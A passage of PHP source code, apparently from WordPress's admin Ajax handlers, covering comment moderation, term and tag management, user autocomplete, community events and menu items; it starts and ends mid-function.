			} elseif ( false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') && function_exists('gzencode') ) {
				header('Content-Encoding: gzip');
				$out = gzencode( $test_str, 1 );
			} else {
				wp_die( -1 );
			}
			echo $out;
			wp_die();
		} elseif ( 'no' == $_GET['test'] ) {
			check_ajax_referer( 'update_can_compress_scripts' );
			update_site_option('can_compress_scripts', 0);
		} elseif ( 'yes' == $_GET['test'] ) {
			check_ajax_referer( 'update_can_compress_scripts' );
			update_site_option('can_compress_scripts', 1);
		}
	}

wp_die( 0 );
}

/**
 * Ajax handler for image editor previews.
 *
 * @since 3.1.0
 */
function wp_ajax_imgedit_preview() {
	$post_id = intval($_GET['postid']);
	if ( empty($post_id) || !current_user_can('edit_post', $post_id) )
		wp_die( -1 );

check_ajax_referer( "image_editor-$post_id" );

include_once( ABSPATH . 'wp-admin/includes/image-edit.php' );
	if ( ! stream_preview_image($post_id) )
		wp_die( -1 );

wp_die();
}

/**
 * Ajax handler for oEmbed caching.
 *
 * @since 3.1.0
 *
 * @global WP_Embed $wp_embed
 */
function wp_ajax_oembed_cache() {
	$GLOBALS['wp_embed']->cache_oembed( $_GET['post'] );
	wp_die( 0 );
}

/**
 * Ajax handler for user autocomplete.
 *
 * @since 3.4.0
 */
function wp_ajax_autocomplete_user() {
	if ( ! is_multisite() || ! current_user_can( 'promote_users' ) || wp_is_large_network( 'users' ) )
		wp_die( -1 );

/** This filter is documented in wp-admin/user-new.php */
	if ( ! current_user_can( 'manage_network_users' ) && ! apply_filters( 'autocomplete_users_for_site_admins', false ) )
		wp_die( -1 );

$return = array();

// Check the type of request
	// Current allowed values are `add` and `search`
	if ( isset( $_REQUEST['autocomplete_type'] ) && 'search' === $_REQUEST['autocomplete_type'] ) {
		$type = $_REQUEST['autocomplete_type'];
	} else {
		$type = 'add';
	}

// Check the desired field for value
	// Current allowed values are `user_email` and `user_login`
	if ( isset( $_REQUEST['autocomplete_field'] ) && 'user_email' === $_REQUEST['autocomplete_field'] ) {
		$field = $_REQUEST['autocomplete_field'];
	} else {
		$field = 'user_login';
	}

// Exclude current users of this blog
	if ( isset( $_REQUEST['site_id'] ) ) {
		$id = absint( $_REQUEST['site_id'] );
	} else {
		$id = get_current_blog_id();
	}

$include_blog_users = ( $type == 'search' ? get_users( array( 'blog_id' => $id, 'fields' => 'ID' ) ) : array() );
	$exclude_blog_users = ( $type == 'add' ? get_users( array( 'blog_id' => $id, 'fields' => 'ID' ) ) : array() );

$users = get_users( array(
		'blog_id' => false,
		'search'  => '*' . $_REQUEST['term'] . '*',
		'include' => $include_blog_users,
		'exclude' => $exclude_blog_users,
		'search_columns' => array( 'user_login', 'user_nicename', 'user_email' ),
	) );

foreach ( $users as $user ) {
		$return[] = array(
			/* translators: 1: user_login, 2: user_email */
			'label' => sprintf( _x( '%1$s (%2$s)', 'user autocomplete result' ), $user->user_login, $user->user_email ),
			'value' => $user->$field,
		);
	}

wp_die( wp_json_encode( $return ) );
}

/**
 * Handles AJAX requests for community events
 *
 * @since 4.8.0
 */
function wp_ajax_get_community_events() {
	require_once( ABSPATH . 'wp-admin/includes/class-wp-community-events.php' );

check_ajax_referer( 'community_events' );

$search         = isset( $_POST['location'] ) ? wp_unslash( $_POST['location'] ) : '';
	$timezone       = isset( $_POST['timezone'] ) ? wp_unslash( $_POST['timezone'] ) : '';
	$user_id        = get_current_user_id();
	$saved_location = get_user_option( 'community-events-location', $user_id );
	$events_client  = new WP_Community_Events( $user_id, $saved_location );
	$events         = $events_client->get_events( $search, $timezone );
	$ip_changed     = false;

if ( is_wp_error( $events ) ) {
		wp_send_json_error( array(
			'error' => $events->get_error_message(),
		) );
	} else {
		if ( empty( $saved_location['ip'] ) && ! empty( $events['location']['ip'] ) ) {
			$ip_changed = true;
		} elseif ( isset( $saved_location['ip'] ) && ! empty( $events['location']['ip'] ) && $saved_location['ip'] !== $events['location']['ip'] ) {
			$ip_changed = true;
		}

/*
		 * The location should only be updated when it changes. The API doesn't always return
		 * a full location; sometimes it's missing the description or country. The location
		 * that was saved during the initial request is known to be good and complete, though.
		 * It should be left in tact until the user explicitly changes it (either by manually
		 * searching for a new location, or by changing their IP address).
		 *
		 * If the location were updated with an incomplete response from the API, then it could
		 * break assumptions that the UI makes (e.g., that there will always be a description
		 * that corresponds to a latitude/longitude location).
		 *
		 * The location is stored network-wide, so that the user doesn't have to set it on each site.
		 */
		if ( $ip_changed || $search ) {
			update_user_option( $user_id, 'community-events-location', $events['location'], true );
		}

wp_send_json_success( $events );
	}
}

/**
 * Ajax handler for dashboard widgets.
 *
 * @since 3.4.0
 */
function wp_ajax_dashboard_widgets() {
	require_once ABSPATH . 'wp-admin/includes/dashboard.php';

$pagenow = $_GET['pagenow'];
	if ( $pagenow === 'dashboard-user' || $pagenow === 'dashboard-network' || $pagenow === 'dashboard' ) {
		set_current_screen( $pagenow );
	}

switch ( $_GET['widget'] ) {
		case 'dashboard_primary' :
			wp_dashboard_primary();
			break;
	}
	wp_die();
}

/**
 * Ajax handler for Customizer preview logged-in status.
 *
 * @since 3.4.0
 */
function wp_ajax_logged_in() {
	wp_die( 1 );
}

//
// Ajax helpers.
//

/**
 * Sends back current comment total and new page links if they need to be updated.
 *
 * Contrary to normal success Ajax response ("1"), die with time() on success.
 *
 * @access private
 * @since 2.7.0
 *
 * @param int $comment_id
 * @param int $delta
 */
function _wp_ajax_delete_comment_response( $comment_id, $delta = -1 ) {
	$total    = isset( $_POST['_total'] )    ? (int) $_POST['_total']    : 0;
	$per_page = isset( $_POST['_per_page'] ) ? (int) $_POST['_per_page'] : 0;
	$page     = isset( $_POST['_page'] )     ? (int) $_POST['_page']     : 0;
	$url      = isset( $_POST['_url'] )      ? esc_url_raw( $_POST['_url'] ) : '';

// JS didn't send us everything we need to know. Just die with success message
	if ( ! $total || ! $per_page || ! $page || ! $url ) {
		$time           = time();
		$comment        = get_comment( $comment_id );
		$comment_status = '';
		$comment_link   = '';

if ( $comment ) {
			$comment_status = $comment->comment_approved;
		}

if ( 1 === (int) $comment_status ) {
			$comment_link = get_comment_link( $comment );
		}

$counts = wp_count_comments();

$x = new WP_Ajax_Response( array(
			'what' => 'comment',
			// Here for completeness - not used.
			'id' => $comment_id,
			'supplemental' => array(
				'status' => $comment_status,
				'postId' => $comment ? $comment->comment_post_ID : '',
				'time' => $time,
				'in_moderation' => $counts->moderated,
				'i18n_comments_text' => sprintf(
					_n( '%s Comment', '%s Comments', $counts->approved ),
					number_format_i18n( $counts->approved )
				),
				'i18n_moderation_text' => sprintf(
					_nx( '%s in moderation', '%s in moderation', $counts->moderated, 'comments' ),
					number_format_i18n( $counts->moderated )
				),
				'comment_link' => $comment_link,
			)
		) );
		$x->send();
	}

$total += $delta;
	if ( $total < 0 )
		$total = 0;

// Only do the expensive stuff on a page-break, and about 1 other time per page
	if ( 0 == $total % $per_page || 1 == mt_rand( 1, $per_page ) ) {
		$post_id = 0;
		// What type of comment count are we looking for?
		$status = 'all';
		$parsed = parse_url( $url );
		if ( isset( $parsed['query'] ) ) {
			parse_str( $parsed['query'], $query_vars );
			if ( !empty( $query_vars['comment_status'] ) )
				$status = $query_vars['comment_status'];
			if ( !empty( $query_vars['p'] ) )
				$post_id = (int) $query_vars['p'];
			if ( ! empty( $query_vars['comment_type'] ) )
				$type = $query_vars['comment_type'];
		}

if ( empty( $type ) ) {
			// Only use the comment count if not filtering by a comment_type.
			$comment_count = wp_count_comments($post_id);

// We're looking for a known type of comment count.
			if ( isset( $comment_count->$status ) ) {
				$total = $comment_count->$status;
			}
		}
		// Else use the decremented value from above.
	}

// The time since the last comment count.
	$time = time();
	$comment = get_comment( $comment_id );

$x = new WP_Ajax_Response( array(
		'what' => 'comment',
		// Here for completeness - not used.
		'id' => $comment_id,
		'supplemental' => array(
			'status' => $comment ? $comment->comment_approved : '',
			'postId' => $comment ? $comment->comment_post_ID : '',
			'total_items_i18n' => sprintf( _n( '%s item', '%s items', $total ), number_format_i18n( $total ) ),
			'total_pages' => ceil( $total / $per_page ),
			'total_pages_i18n' => number_format_i18n( ceil( $total / $per_page ) ),
			'total' => $total,
			'time' => $time
		)
	) );
	$x->send();
}

//
// POST-based Ajax handlers.
//

/**
 * Ajax handler for adding a hierarchical term.
 *
 * @access private
 * @since 3.1.0
 */
function _wp_ajax_add_hierarchical_term() {
	$action = $_POST['action'];
	$taxonomy = get_taxonomy(substr($action, 4));
	check_ajax_referer( $action, '_ajax_nonce-add-' . $taxonomy->name );
	if ( !current_user_can( $taxonomy->cap->edit_terms ) )
		wp_die( -1 );
	$names = explode(',', $_POST['new'.$taxonomy->name]);
	$parent = isset($_POST['new'.$taxonomy->name.'_parent']) ? (int) $_POST['new'.$taxonomy->name.'_parent'] : 0;
	if ( 0 > $parent )
		$parent = 0;
	if ( $taxonomy->name == 'category' )
		$post_category = isset($_POST['post_category']) ? (array) $_POST['post_category'] : array();
	else
		$post_category = ( isset($_POST['tax_input']) && isset($_POST['tax_input'][$taxonomy->name]) ) ? (array) $_POST['tax_input'][$taxonomy->name] : array();
	$checked_categories = array_map( 'absint', (array) $post_category );
	$popular_ids = wp_popular_terms_checklist($taxonomy->name, 0, 10, false);

foreach ( $names as $cat_name ) {
		$cat_name = trim($cat_name);
		$category_nicename = sanitize_title($cat_name);
		if ( '' === $category_nicename )
			continue;

$cat_id = wp_insert_term( $cat_name, $taxonomy->name, array( 'parent' => $parent ) );
		if ( ! $cat_id || is_wp_error( $cat_id ) ) {
			continue;
		} else {
			$cat_id = $cat_id['term_id'];
		}
		$checked_categories[] = $cat_id;
		if ( $parent ) // Do these all at once in a second
			continue;

ob_start();

wp_terms_checklist( 0, array( 'taxonomy' => $taxonomy->name, 'descendants_and_self' => $cat_id, 'selected_cats' => $checked_categories, 'popular_cats' => $popular_ids ));

$data = ob_get_clean();

$add = array(
			'what' => $taxonomy->name,
			'id' => $cat_id,
			'data' => str_replace( array("\n", "\t"), '', $data),
			'position' => -1
		);
	}

if ( $parent ) { // Foncy - replace the parent and all its children
		$parent = get_term( $parent, $taxonomy->name );
		$term_id = $parent->term_id;

while ( $parent->parent ) { // get the top parent
			$parent = get_term( $parent->parent, $taxonomy->name );
			if ( is_wp_error( $parent ) )
				break;
			$term_id = $parent->term_id;
		}

ob_start();

wp_terms_checklist( 0, array('taxonomy' => $taxonomy->name, 'descendants_and_self' => $term_id, 'selected_cats' => $checked_categories, 'popular_cats' => $popular_ids));

$data = ob_get_clean();

$add = array(
			'what' => $taxonomy->name,
			'id' => $term_id,
			'data' => str_replace( array("\n", "\t"), '', $data),
			'position' => -1
		);
	}

ob_start();

wp_dropdown_categories( array(
		'taxonomy' => $taxonomy->name, 'hide_empty' => 0, 'name' => 'new'.$taxonomy->name.'_parent', 'orderby' => 'name',
		'hierarchical' => 1, 'show_option_none' => '&mdash; '.$taxonomy->labels->parent_item.' &mdash;'
	) );

$sup = ob_get_clean();

$add['supplemental'] = array( 'newcat_parent' => $sup );

$x = new WP_Ajax_Response( $add );
	$x->send();
}

/**
 * Ajax handler for deleting a comment.
 *
 * @since 3.1.0
 */
function wp_ajax_delete_comment() {
	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;

if ( !$comment = get_comment( $id ) )
		wp_die( time() );
	if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) )
		wp_die( -1 );

check_ajax_referer( "delete-comment_$id" );
	$status = wp_get_comment_status( $comment );

$delta = -1;
	if ( isset($_POST['trash']) && 1 == $_POST['trash'] ) {
		if ( 'trash' == $status )
			wp_die( time() );
		$r = wp_trash_comment( $comment );
	} elseif ( isset($_POST['untrash']) && 1 == $_POST['untrash'] ) {
		if ( 'trash' != $status )
			wp_die( time() );
		$r = wp_untrash_comment( $comment );
		if ( ! isset( $_POST['comment_status'] ) || $_POST['comment_status'] != 'trash' ) // undo trash, not in trash
			$delta = 1;
	} elseif ( isset($_POST['spam']) && 1 == $_POST['spam'] ) {
		if ( 'spam' == $status )
			wp_die( time() );
		$r = wp_spam_comment( $comment );
	} elseif ( isset($_POST['unspam']) && 1 == $_POST['unspam'] ) {
		if ( 'spam' != $status )
			wp_die( time() );
		$r = wp_unspam_comment( $comment );
		if ( ! isset( $_POST['comment_status'] ) || $_POST['comment_status'] != 'spam' ) // undo spam, not in spam
			$delta = 1;
	} elseif ( isset($_POST['delete']) && 1 == $_POST['delete'] ) {
		$r = wp_delete_comment( $comment );
	} else {
		wp_die( -1 );
	}

if ( $r ) // Decide if we need to send back '1' or a more complicated response including page links and comment counts
		_wp_ajax_delete_comment_response( $comment->comment_ID, $delta );
	wp_die( 0 );
}

/**
 * Ajax handler for deleting a tag.
 *
 * @since 3.1.0
 */
function wp_ajax_delete_tag() {
	$tag_id = (int) $_POST['tag_ID'];
	check_ajax_referer( "delete-tag_$tag_id" );

if ( ! current_user_can( 'delete_term', $tag_id ) ) {
		wp_die( -1 );
	}

$taxonomy = !empty($_POST['taxonomy']) ? $_POST['taxonomy'] : 'post_tag';
	$tag = get_term( $tag_id, $taxonomy );
	if ( !$tag || is_wp_error( $tag ) )
		wp_die( 1 );

if ( wp_delete_term($tag_id, $taxonomy))
		wp_die( 1 );
	else
		wp_die( 0 );
}

/**
 * Ajax handler for deleting a link.
 *
 * @since 3.1.0
 */
function wp_ajax_delete_link() {
	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;

check_ajax_referer( "delete-bookmark_$id" );
	if ( !current_user_can( 'manage_links' ) )
		wp_die( -1 );

$link = get_bookmark( $id );
	if ( !$link || is_wp_error( $link ) )
		wp_die( 1 );

if ( wp_delete_link( $id ) )
		wp_die( 1 );
	else
		wp_die( 0 );
}

/**
 * Ajax handler for deleting meta.
 *
 * @since 3.1.0
 */
function wp_ajax_delete_meta() {
	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;

check_ajax_referer( "delete-meta_$id" );
	if ( !$meta = get_metadata_by_mid( 'post', $id ) )
		wp_die( 1 );

if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'delete_post_meta',  $meta->post_id, $meta->meta_key ) )
		wp_die( -1 );
	if ( delete_meta( $meta->meta_id ) )
		wp_die( 1 );
	wp_die( 0 );
}

/**
 * Ajax handler for deleting a post.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_delete_post( $action ) {
	if ( empty( $action ) )
		$action = 'delete-post';
	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;

check_ajax_referer( "{$action}_$id" );
	if ( !current_user_can( 'delete_post', $id ) )
		wp_die( -1 );

if ( !get_post( $id ) )
		wp_die( 1 );

if ( wp_delete_post( $id ) )
		wp_die( 1 );
	else
		wp_die( 0 );
}

/**
 * Ajax handler for sending a post to the trash.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_trash_post( $action ) {
	if ( empty( $action ) )
		$action = 'trash-post';
	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;

check_ajax_referer( "{$action}_$id" );
	if ( !current_user_can( 'delete_post', $id ) )
		wp_die( -1 );

if ( !get_post( $id ) )
		wp_die( 1 );

if ( 'trash-post' == $action )
		$done = wp_trash_post( $id );
	else
		$done = wp_untrash_post( $id );

if ( $done )
		wp_die( 1 );

wp_die( 0 );
}

/**
 * Ajax handler to restore a post from the trash.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_untrash_post( $action ) {
	if ( empty( $action ) )
		$action = 'untrash-post';
	wp_ajax_trash_post( $action );
}

/**
 * @since 3.1.0
 *
 * @param string $action
 */
function wp_ajax_delete_page( $action ) {
	if ( empty( $action ) )
		$action = 'delete-page';
	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;

check_ajax_referer( "{$action}_$id" );
	if ( !current_user_can( 'delete_page', $id ) )
		wp_die( -1 );

if ( ! get_post( $id ) )
		wp_die( 1 );

if ( wp_delete_post( $id ) )
		wp_die( 1 );
	else
		wp_die( 0 );
}

/**
 * Ajax handler to dim a comment.
 *
 * @since 3.1.0
 */
function wp_ajax_dim_comment() {
	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;

if ( !$comment = get_comment( $id ) ) {
		$x = new WP_Ajax_Response( array(
			'what' => 'comment',
			'id' => new WP_Error('invalid_comment', sprintf(__('Comment %d does not exist'), $id))
		) );
		$x->send();
	}

if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) && ! current_user_can( 'moderate_comments' ) )
		wp_die( -1 );

$current = wp_get_comment_status( $comment );
	if ( isset( $_POST['new'] ) && $_POST['new'] == $current )
		wp_die( time() );

check_ajax_referer( "approve-comment_$id" );
	if ( in_array( $current, array( 'unapproved', 'spam' ) ) ) {
		$result = wp_set_comment_status( $comment, 'approve', true );
	} else {
		$result = wp_set_comment_status( $comment, 'hold', true );
	}

if ( is_wp_error($result) ) {
		$x = new WP_Ajax_Response( array(
			'what' => 'comment',
			'id' => $result
		) );
		$x->send();
	}

// Decide if we need to send back '1' or a more complicated response including page links and comment counts
	_wp_ajax_delete_comment_response( $comment->comment_ID );
	wp_die( 0 );
}

/**
 * Ajax handler for adding a link category.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_add_link_category( $action ) {
	if ( empty( $action ) )
		$action = 'add-link-category';
	check_ajax_referer( $action );
	$tax = get_taxonomy( 'link_category' );
	if ( ! current_user_can( $tax->cap->manage_terms ) ) {
		wp_die( -1 );
	}
	$names = explode(',', wp_unslash( $_POST['newcat'] ) );
	$x = new WP_Ajax_Response();
	foreach ( $names as $cat_name ) {
		$cat_name = trim($cat_name);
		$slug = sanitize_title($cat_name);
		if ( '' === $slug )
			continue;

$cat_id = wp_insert_term( $cat_name, 'link_category' );
		if ( ! $cat_id || is_wp_error( $cat_id ) ) {
			continue;
		} else {
			$cat_id = $cat_id['term_id'];
		}
		$cat_name = esc_html( $cat_name );
		$x->add( array(
			'what' => 'link-category',
			'id' => $cat_id,
			'data' => "<li id='link-category-$cat_id'><label for='in-link-category-$cat_id' class='selectit'><input value='" . esc_attr($cat_id) . "' type='checkbox' checked='checked' name='link_category[]' id='in-link-category-$cat_id'/> $cat_name</label></li>",
			'position' => -1
		) );
	}
	$x->send();
}

/**
 * Ajax handler to add a tag.
 *
 * @since 3.1.0
 */
function wp_ajax_add_tag() {
	check_ajax_referer( 'add-tag', '_wpnonce_add-tag' );
	$taxonomy = !empty($_POST['taxonomy']) ? $_POST['taxonomy'] : 'post_tag';
	$tax = get_taxonomy($taxonomy);

if ( !current_user_can( $tax->cap->edit_terms ) )
		wp_die( -1 );

$x = new WP_Ajax_Response();

$tag = wp_insert_term($_POST['tag-name'], $taxonomy, $_POST );

if ( !$tag || is_wp_error($tag) || (!$tag = get_term( $tag['term_id'], $taxonomy )) ) {
		$message = __('An error has occurred. Please reload the page and try again.');
		if ( is_wp_error($tag) && $tag->get_error_message() )
			$message = $tag->get_error_message();

$x->add( array(
			'what' => 'taxonomy',
			'data' => new WP_Error('error', $message )
		) );
		$x->send();
	}

$wp_list_table = _get_list_table( 'WP_Terms_List_Table', array( 'screen' => $_POST['screen'] ) );

$level = 0;
	if ( is_taxonomy_hierarchical($taxonomy) ) {
		$level = count( get_ancestors( $tag->term_id, $taxonomy, 'taxonomy' ) );
		ob_start();
		$wp_list_table->single_row( $tag, $level );
		$noparents = ob_get_clean();
	}

ob_start();
	$wp_list_table->single_row( $tag );
	$parents = ob_get_clean();

$x->add( array(
		'what' => 'taxonomy',
		'supplemental' => compact('parents', 'noparents')
	) );
	$x->add( array(
		'what' => 'term',
		'position' => $level,
		'supplemental' => (array) $tag
	) );
	$x->send();
}

/**
 * Ajax handler for getting a tagcloud.
 *
 * @since 3.1.0
 */
function wp_ajax_get_tagcloud() {
	if ( ! isset( $_POST['tax'] ) ) {
		wp_die( 0 );
	}

$taxonomy = sanitize_key( $_POST['tax'] );
	$tax = get_taxonomy( $taxonomy );
	if ( ! $tax ) {
		wp_die( 0 );
	}

if ( ! current_user_can( $tax->cap->assign_terms ) ) {
		wp_die( -1 );
	}

$tags = get_terms( $taxonomy, array( 'number' => 45, 'orderby' => 'count', 'order' => 'DESC' ) );

if ( empty( $tags ) )
		wp_die( $tax->labels->not_found );

if ( is_wp_error( $tags ) )
		wp_die( $tags->get_error_message() );

foreach ( $tags as $key => $tag ) {
		$tags[ $key ]->link = '#';
		$tags[ $key ]->id = $tag->term_id;
	}

// We need raw tag names here, so don't filter the output
	$return = wp_generate_tag_cloud( $tags, array( 'filter' => 0, 'format' => 'list' ) );

if ( empty($return) )
		wp_die( 0 );

echo $return;

wp_die();
}

/**
 * Ajax handler for getting comments.
 *
 * @since 3.1.0
 *
 * @global int           $post_id
 *
 * @param string $action Action to perform.
 */
function wp_ajax_get_comments( $action ) {
	global $post_id;
	if ( empty( $action ) ) {
		$action = 'get-comments';
	}
	check_ajax_referer( $action );

if ( empty( $post_id ) && ! empty( $_REQUEST['p'] ) ) {
		$id = absint( $_REQUEST['p'] );
		if ( ! empty( $id ) ) {
			$post_id = $id;
		}
	}

if ( empty( $post_id ) ) {
		wp_die( -1 );
	}

$wp_list_table = _get_list_table( 'WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) );

if ( ! current_user_can( 'edit_post', $post_id ) ) {
		wp_die( -1 );
	}

$wp_list_table->prepare_items();

if ( ! $wp_list_table->has_items() ) {
		wp_die( 1 );
	}

$x = new WP_Ajax_Response();
	ob_start();
	foreach ( $wp_list_table->items as $comment ) {
		if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) && 0 === $comment->comment_approved )
			continue;
		get_comment( $comment );
		$wp_list_table->single_row( $comment );
	}
	$comment_list_item = ob_get_clean();

$x->add( array(
		'what' => 'comments',
		'data' => $comment_list_item
	) );
	$x->send();
}

/**
 * Ajax handler for replying to a comment.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_replyto_comment( $action ) {
	if ( empty( $action ) )
		$action = 'replyto-comment';

check_ajax_referer( $action, '_ajax_nonce-replyto-comment' );

$comment_post_ID = (int) $_POST['comment_post_ID'];
	$post = get_post( $comment_post_ID );
	if ( ! $post )
		wp_die( -1 );

if ( !current_user_can( 'edit_post', $comment_post_ID ) )
		wp_die( -1 );

if ( empty( $post->post_status ) )
		wp_die( 1 );
	elseif ( in_array($post->post_status, array('draft', 'pending', 'trash') ) )
		wp_die( __('ERROR: you are replying to a comment on a draft post.') );

$user = wp_get_current_user();
	if ( $user->exists() ) {
		$user_ID = $user->ID;
		$comment_author       = wp_slash( $user->display_name );
		$comment_author_email = wp_slash( $user->user_email );
		$comment_author_url   = wp_slash( $user->user_url );
		$comment_content      = trim( $_POST['content'] );
		$comment_type         = isset( $_POST['comment_type'] ) ? trim( $_POST['comment_type'] ) : '';
		if ( current_user_can( 'unfiltered_html' ) ) {
			if ( ! isset( $_POST['_wp_unfiltered_html_comment'] ) )
				$_POST['_wp_unfiltered_html_comment'] = '';

if ( wp_create_nonce( 'unfiltered-html-comment' ) != $_POST['_wp_unfiltered_html_comment'] ) {
				kses_remove_filters(); // start with a clean slate
				kses_init_filters(); // set up the filters
				remove_filter( 'pre_comment_content', 'wp_filter_post_kses' );
				add_filter( 'pre_comment_content', 'wp_filter_kses' );
			}
		}
	} else {
		wp_die( __( 'Sorry, you must be logged in to reply to a comment.' ) );
	}

if ( '' == $comment_content )
		wp_die( __( 'ERROR: please type a comment.' ) );

$comment_parent = 0;
	if ( isset( $_POST['comment_ID'] ) )
		$comment_parent = absint( $_POST['comment_ID'] );
	$comment_auto_approved = false;
	$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID');

// Automatically approve parent comment.
	if ( !empty($_POST['approve_parent']) ) {
		$parent = get_comment( $comment_parent );

if ( $parent && $parent->comment_approved === '0' && $parent->comment_post_ID == $comment_post_ID ) {
			if ( ! current_user_can( 'edit_comment', $parent->comment_ID ) ) {
				wp_die( -1 );
			}

if ( wp_set_comment_status( $parent, 'approve' ) )
				$comment_auto_approved = true;
		}
	}

$comment_id = wp_new_comment( $commentdata );

if ( is_wp_error( $comment_id ) ) {
		wp_die( $comment_id->get_error_message() );
	}

$comment = get_comment($comment_id);
	if ( ! $comment ) wp_die( 1 );

$position = ( isset($_POST['position']) && (int) $_POST['position'] ) ? (int) $_POST['position'] : '-1';

ob_start();
	if ( isset( $_REQUEST['mode'] ) && 'dashboard' == $_REQUEST['mode'] ) {
		require_once( ABSPATH . 'wp-admin/includes/dashboard.php' );
		_wp_dashboard_recent_comments_row( $comment );
	} else {
		if ( isset( $_REQUEST['mode'] ) && 'single' == $_REQUEST['mode'] ) {
			$wp_list_table = _get_list_table('WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) );
		} else {
			$wp_list_table = _get_list_table('WP_Comments_List_Table', array( 'screen' => 'edit-comments' ) );
		}
		$wp_list_table->single_row( $comment );
	}
	$comment_list_item = ob_get_clean();

$response =  array(
		'what' => 'comment',
		'id' => $comment->comment_ID,
		'data' => $comment_list_item,
		'position' => $position
	);

$counts = wp_count_comments();
	$response['supplemental'] = array(
		'in_moderation' => $counts->moderated,
		'i18n_comments_text' => sprintf(
			_n( '%s Comment', '%s Comments', $counts->approved ),
			number_format_i18n( $counts->approved )
		),
		'i18n_moderation_text' => sprintf(
			_nx( '%s in moderation', '%s in moderation', $counts->moderated, 'comments' ),
			number_format_i18n( $counts->moderated )
		)
	);

if ( $comment_auto_approved ) {
		$response['supplemental']['parent_approved'] = $parent->comment_ID;
		$response['supplemental']['parent_post_id'] = $parent->comment_post_ID;
	}

$x = new WP_Ajax_Response();
	$x->add( $response );
	$x->send();
}

/**
 * Ajax handler for editing a comment.
 *
 * @since 3.1.0
 */
function wp_ajax_edit_comment() {
	check_ajax_referer( 'replyto-comment', '_ajax_nonce-replyto-comment' );

$comment_id = (int) $_POST['comment_ID'];
	if ( ! current_user_can( 'edit_comment', $comment_id ) )
		wp_die( -1 );

if ( '' == $_POST['content'] )
		wp_die( __( 'ERROR: please type a comment.' ) );

if ( isset( $_POST['status'] ) )
		$_POST['comment_status'] = $_POST['status'];
	edit_comment();

$position = ( isset($_POST['position']) && (int) $_POST['position']) ? (int) $_POST['position'] : '-1';
	$checkbox = ( isset($_POST['checkbox']) && true == $_POST['checkbox'] ) ? 1 : 0;
	$wp_list_table = _get_list_table( $checkbox ? 'WP_Comments_List_Table' : 'WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) );

$comment = get_comment( $comment_id );
	if ( empty( $comment->comment_ID ) )
		wp_die( -1 );

ob_start();
	$wp_list_table->single_row( $comment );
	$comment_list_item = ob_get_clean();

$x = new WP_Ajax_Response();

$x->add( array(
		'what' => 'edit_comment',
		'id' => $comment->comment_ID,
		'data' => $comment_list_item,
		'position' => $position
	));

$x->send();
}

/**
 * Ajax handler for adding a menu item.
 *
 * @since 3.1.0
 */
function wp_ajax_add_menu_item() {
	check_ajax_referer( 'add-menu_item', 'menu-settings-column-nonce' );

if ( ! current_user_can( 'edit_theme_options' ) )
		wp_die( -1 );

require_once ABSPATH . 'wp-admin/includes/nav-menu.php';

// For performance reasons, we omit some object properties from the checklist.
	// The following is a hacky way to restore them when adding non-custom items.

$menu_items_data = array();
	foreach ( (array) $_POST['menu-item'] as $menu_item_data ) {
		if (
			! empty( $menu_item_data['menu-item-type'] ) &&
			'custom' != $menu_item_data['menu-item-type'] &&
			! empty( $menu_item_data['menu-item-object-id'] )
		) {
			switch( $menu_item_data['menu-item-type'] ) {
				case 'post_type' :
					$_object = get_post( $menu_item_data['menu-item-object-id'] );
				break;

case 'post_type_archive' :
					$_object = get_post_type_object( $menu_item_data['menu-item-object'] );
				break;

case 'taxonomy' :
					$_object = get_term( $menu_item_data['menu-item-object-id'], $menu_item_data['menu-item-object'] );
				break;
			}

$_menu_items = array_map( 'wp_setup_nav_menu_item', array( $_object ) );
			$_menu_item = reset( $_menu_items );

// Restore the missing menu item properties
			$menu_item_data['menu-item-description'] = $_menu_item->description;
		}

$menu_items_data[] = $menu_item_data;
	}

$item_ids = wp_save_nav_menu_items( 0, $menu_items_data );
	if ( is_wp_error( $item_ids ) )
		wp_die( 0 );

$menu_items = array();

foreach ( (array) $item_ids as $menu_item_id ) {
		$menu_obj = get_post( $menu_item_id );
		if ( ! empty( $menu_obj->ID ) ) {
			$menu_obj = wp_setup_nav_menu_item( $menu_obj );
			$menu_obj->label = $menu_obj->title; // don't show "(pending)" in ajax-added items
			$menu_items[] = $menu_obj;
		}
	}

/** This filter is documented in wp-admin/includes/nav-menu.php */
	$walker_class_name = apply_filters( 'wp_edit_nav_menu_walker', 'Walker_Nav_Menu_Edit', $_POST['menu'] );

if ( ! class_exists( $walker_class_name ) )
		wp_die( 0 );

if ( ! empty( $menu_items ) ) {
		$args = array(
			'after' => '',
			'before' => '',
			'link_after' => '',
			'link_before' => '',
			'walker' => new $walker_class_name,
		);
		echo walk_nav_menu_tree( $menu_items, 0, (object) $args );
	}
	wp_die();
}

/**
 * Ajax handler for adding meta.
 *
 * @since 3.1.0
 */
function wp_ajax_add_meta() {
	check_ajax_referer( 'add-meta', '_ajax_nonce-add-meta' );
	$c = 0;
	$pid = (int) $_POST['post_id'];
	$post = get_post( $pid );

if ( isset($_POST['metakeyselect']) || isset($_POST['metakeyinput']) ) {
		if ( !current_user_can( 'edit_post', $pid ) )
			wp_die( -1 );
		if ( isset($_POST['metakeyselect']) && '#NONE#' == $_POST['metakeyselect'] && empty($_POST['metakeyinput']) )
			wp_die( 1 );

// If the post is an autodraft, save the post as a draft and then attempt to save the meta.
